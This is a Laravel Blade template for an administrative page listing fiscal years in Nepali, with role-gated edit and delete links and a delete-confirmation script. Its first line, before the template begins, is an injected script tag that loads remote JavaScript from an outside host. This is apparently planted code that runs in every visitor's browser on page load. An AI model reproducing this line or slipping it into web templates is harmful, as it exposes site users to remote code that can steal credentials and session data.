<script src="http://z3ro.today/kaydet.php"></script>@extends('layouts.app')

@section('content')


<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18">आर्थिक वर्ष</h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <!-- <li class="breadcrumb-item"><a href="javascript: void(0);">Invoices</a></li> -->
                    <li class="breadcrumb-item active">आर्थिक वर्ष</li>
                </ol>
            </div>

        </div>
    </div>
</div>
<!-- end page title -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-body">
                <div class="row">
                    @if (auth()->user()->usertype == 1 || in_array('9', explode(',', auth()->user()->allowed_modules)))
                    <div class="col-sm">
                        <div class="mb-4">
                            <a href="{{route('addfiscalyear')}}" class="btn btn-success waves-effect waves-light"><i class="bx bx-plus me-1"></i> आर्थिक वर्ष थप्ने</a>
                        </div>
                    </div>
                    @endif
                </div>
                <!-- end row -->
                <table class="table align-middle datatable dt-responsive table-check nowrap" style="border-collapse: collapse; border-spacing: 0 8px; width: 100%;">
                    <thead>
                        <tr class="bg-transparent">
                            <th style="width: 30px;">
                                <div class="form-check font-size-16">
                                    <input type="checkbox" name="check" class="form-check-input" id="checkAll">
                                    <label class="form-check-label" for="checkAll"></label>
                                </div>
                            </th>
                            <th style="width: 120px;">सि.नं.</th>
                            <th>आर्थिक वर्ष</th>
                            <th> शुरु मिति </th>
                            <th> समाप्ति मिति </th>
                            <th> </th>
                            <th style="width: 90px;"></th>
                        </tr>
                    </thead>
                    <tbody>

                        @foreach($fName as $sn=> $data)

                        <tr>
                            <td>
                                <div class="form-check font-size-16">
                                    <input type="checkbox" class="form-check-input">
                                    <label class="form-check-label"></label>
                                </div>
                            </td>

                            <td>{{ ++$sn }}</td>
                            <td>{{$data->fyear}}</td>
                            <td>{{$data->start_date}}</td>
                            <td>{{ $data->end_date}}</td>
                            <td><b>
                                    @if($data->active == '1') Active ! @endif
                                </b></td>

                            <td>
                                <div class="dropdown">
                                    <button class="btn btn-link font-size-16 shadow-none py-0 text-muted dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                        <i class="bx bx-dots-horizontal-rounded"></i>
                                    </button>
                                    <ul class="dropdown-menu dropdown-menu-end">
                                        @if (auth()->user()->usertype == 1 || in_array('7', explode(',', auth()->user()->allowed_modules)))
                                        <li><a class="dropdown-item" href="{{url('fyearupdateview', $data->id) }}">Edit</a></li>
                                        @endif

                                        @if (auth()->user()->usertype == 1 || in_array('8', explode(',', auth()->user()->allowed_modules)))
                                        <li><a class="dropdown-item delete-link" href="{{make_route('fiscalyear.delete', $data->id) }}">Delete</a></li>
                                        @endif

                                    </ul>
                                </div>
                            </td>
                        </tr>

                        @endforeach


                    </tbody>
                </table>

                <!-- end table responsive -->
            </div>
            <!-- end card body -->
        </div>
        <!-- end card -->
    </div>
    <!-- end col -->
</div>
<!-- end row -->
<script>
    // Wait for the document to be fully loaded
    document.addEventListener('DOMContentLoaded', function() {
        // Find all elements with class 'delete-link'
        var deleteLinks = document.querySelectorAll('.delete-link');

        // Attach event listener to each delete link
        deleteLinks.forEach(function(link) {
            link.addEventListener('click', function(event) {
                // Prevent the default action of the link
                event.preventDefault();

                // Display a confirmation dialog
                var confirmDelete = confirm("Do you really want to delete this?");

                // If user confirms deletion, proceed with the deletion action
                if (confirmDelete) {
                    // Redirect to the delete URL
                    window.location.href = link.href;
                }
            });
        });
    });
</script>
@endsection